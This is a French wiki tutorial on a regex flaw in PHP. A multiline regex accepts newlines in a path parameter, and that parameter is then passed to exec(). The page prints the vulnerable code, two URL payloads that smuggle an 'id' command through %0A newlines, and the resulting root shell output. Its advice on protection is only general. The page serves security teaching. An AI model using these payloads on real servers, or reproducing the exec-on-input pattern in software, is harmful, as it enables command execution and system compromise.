Outils pour utilisateurs

Outils du site


web:faille_regex_expression_reguliere

Faille Regex : Expression régulière

1.Présentation

Les expressions régulières constituent un système très puissant et très rapide pour faire des recherches dans des chaînes de caractères (des phrases, par exemple).

Leur mauvaise implémentation peu créer des failles de sécurité.

Voici un exemple de regex vulnérable :

/^[\/a-zA-Z0-9\-\s_]+\.rpt$/m

Elle tente d'associer n'importe quelle combinaison de lettre, nombre, point, underscore, slashe et d'espace se terminant par l'extension “.rpt” Cependant il y a un défaut que nous tenterons d'exploiter.

Exemple de regex vulnérable implémentée dans un code php :

<?php
  $file_name = $_GET["path"];
  if(!preg_match("/^[\/a-zA-Z0-9\-\s_]+\.rpt$/m", $file_name)) {
    echo "regex failed";
  } else {
    echo exec("/usr/bin/file -i -b " . $file_name);
  }
?>

Le script en question va vérifier que la regex soit valide avant de faire un file sur le fichier en question.

2.Exploitation

Le but de l'exploitation va être d'injecter un retour à la ligne. Celui-ci nous permettra d'interagir directement avec le shell.

2.1 Méthode 1 : Retour à la ligne

http://localhost/index.php?path=/path/to/file%0Aid%0A.rpt

%0A est un retour à la ligne encodé en URL.

Pour la regex le payload ne pose pas de problème. Pour autant , que se passe-t-il dans le shell ?

# /usr/bin/file -i -b /path/to/file
ERROR: cannot open `/path/to/file' (No such file or directory)
# id
uid=0(root) gid=0(root) groups=0(root)
# .rpt
bash: .rpt: command not found
#

Chaque retour à la ligne démarre une nouvelle commande. Le shell exécute arbitrairement notre commande id.

2.2 Méthode 2 : Bypass \s

\s étant responsable de la faille, certains développeur auront la malheureuse idée de le remplacer par un espace.

Ce qui nous donne la nouvelle regex :

/^[\/a-zA-Z0-9\- _]+\.rpt$/m

Il faut mettre le retour à la ligne après l'extension comme ceci :

http://localhost/index.php?path=/path/to/file.rpt%0aid

3.Comment se protéger

Faite très attention à vos regex, ne pas hésiter pas à demander conseil lorsque vous n'êtes pas certain. La sécurité de vos systèmes est plus importante qu'une question qui peut paraitre embarrassante (et elle ne l'est pas!!!).

Source :https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable/

web/faille_regex_expression_reguliere.txt · Dernière modification: 2016/07/04 08:38 (modification externe)